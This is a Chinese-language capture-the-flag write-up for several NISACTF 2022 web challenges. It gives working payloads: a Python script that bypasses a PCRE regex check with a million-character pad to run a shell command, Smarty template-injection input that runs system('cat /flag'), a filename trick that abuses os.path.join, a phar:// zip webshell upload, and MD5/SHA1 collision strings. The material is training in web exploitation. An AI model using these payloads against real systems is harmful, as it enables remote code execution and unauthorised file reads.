[NISACTF 2022]middlerce
考察:正则匹配回溯绕过
这里使用的是正则匹配的NIF匹配引擎,这个匹配引擎的原理是基于从后往前回溯的匹配机制
NIF匹配机制
当preg_match这个函数进行匹配时是匹配完后才根据匹配到与否来返回bool值
如果匹配到也要匹配完后才返回true,而且在匹配过程中
要匹配的第一个字符与字符串中的第一个进行匹配,如果匹配成功就一直匹配下去,直至匹配不成功就到第二个要匹配的字符,如果第二个匹配的字符成功了就一直匹配下去,如果不成功就吐出原匹配好的字符串最右边的一个字符进行匹配,如果还不成功就继续吐,直至匹配成功才到下一个要匹配的字符,但是我们知道,既然前一个匹配的字符成功了就肯定不符合下一个匹配的字符。那这个回溯就没有什么用了,所以要利用这个特性就要有一个特殊的字符——.*
这个字符表示可以匹配任意的字符,那么按上面说的匹配机制, .*将会一直匹配到最后字符串的最后,然后轮到下一个字符,这样回溯才有它的利用价值
如:
要匹配的字符有.*和a 匹配asd这串字符串
1.第一个是.*匹配任意字符都成功所以匹配了asd
2.到a这个字符从后面往前回溯匹配,先吐出一个d但匹配不上,继续吐出一个s,sd还是与a匹配不上
3.直到吐出a,asd就匹配上了a
这样匹配就实现了回溯,这里回溯有一个回溯限制次数——100 万次
当回溯超出这个次数,还没吐完的字符串就可以逃逸匹配
利用这个特性我们可以逃逸我们想要的语句,只要在我们的语句后加上100万个字符即可
等匹配超过这个次数时我们的语句自然就可以逃逸掉了
参考:PHP利用PCRE回溯次数限制绕过某些安全限制 - FreeBuf网络安全行业门户
paylaod:
import requests
url = 'http://1.14.71.254:28288/'
payload = '{"cmd":"?><?=`sort /f*`?>","+":"' + "-" * 1000000 + '"}'
res = requests.post(url=url, data={"letter": payload})
print(res.text)
[NISACTF 2022]midlevel
考察:PHP的模板注入(Smarty模板)
题目模拟了一个获取IP的API,并且可以在最下方看到“Build With Smarty !”可以确定页面使用的是Smarty模板引擎。题目中显示的API的URL由于环境的原因无法使用,但是我们的IP依旧显示在了页面的右上角。很容易猜测出这个IP的值受XFF头控制 。抓包将XFF头改为{7*7}会发现该位置的值变为了49,便可以确定这里存在SSTI。
将XFF改为{system('cat /flag')}
即可得到flag
参考:PHP的模板注入(Smarty模板)_smarty模板注入-CSDN博客
[NISACTF 2022]babyupload
考察:os.path.join()函数漏洞
先随便上传个文件,显示bad filename,查看网页源代码,访问source文件,自动下载源码
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid
app = Flask(__name__)
SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""
def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db
@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)
@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""
@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename)
return redirect('/file/' + uid)
@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
# print(res[0])
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
主要源码如下图
文件上传(upload 函数):
代码首先检查是否有名为 'file' 的文件被 POST 请求发送。
如果没有找到 'file',则重定向到根目录。
然后检查文件名中是否包含句点('.'),如果包含,则返回 "Bad filename!" 并返回状态码 403。
生成一个唯一的文件 ID(使用 uuid.uuid4().hex)。
尝试将文件信息插入数据库中(使用 SQLite),并在可能存在的情况下捕获重复文件名的异常。
将文件保存到 "uploads/" 目录下,并通过重定向返回文件的 ID。
接下来的代码
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
上面这个代码是进行一个sql语句,表示增加一个数据,数据为uid和文件名。
由此,当上传的文件名为 /flag ,上传后通过uuid访问文件后,查询到的文件名是 /flag ,那么进行路径拼接时,uploads/ 将被删除,读取到的就是根目录下的 flag 文件。
访问成功获得flag
漏洞知识:
绝对路径拼接漏洞
os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。
然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
参考:绝对路径拼接漏洞 [NISACTF 2022]babyupload_绝对拼接漏洞-CSDN博客
[NISACTF 2022]bingdundun~
考察:文件上传、Phar://伪协议
打开题目,发现是一道文件上传的题目,因为提示了可以压缩包,所以尝试直接上传zip文件,然后利用phar协议读取Webshll文件
主要是用于在php中对压缩文件格式的读取。这种方式通常是用来配合文件上传漏洞使用,或者进行进阶的phar反序列化攻击
用法就是把一句话木马压缩成zip格式,shell.php -> shell.zip,然后再上传到服务器(后续通过前端页面上传也没有问题,通常服务器不会限制上传 zip 文件),再访问:?filename=phar://…/shell.zip/shell.php,后面的记得是shell.php
?bingdundun=phar://f914ed3b03c011452521810eb0895121.zip/shell
用蚁剑进行连接
[NISACTF 2022]level-up
考察:mds碰撞、sha1碰撞
打开一看,什么都没有,crtl+U查看源代码,发现有提示disallow:
这个就是robots.txt内容的格式,接着我们就去访问一下
接着继续访问提示我们的文件
接下来进行代码审计
这是一道很常见的哈希强比较,且禁用了数组,但是有现成的payload,平时练习积攒的,所以这个时候直接拿来用就行了
MD5碰撞
array1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&array2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
之后得到Level___3.php文件,继续访问
这里进行sha1强碰撞
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
这里一直失败,也不知道啥原因
参考:[NISACTF 2022]WriteUp web篇_tt=1’||(extractvalue(‘div’, concat(‘~’,(select * f-CSDN博客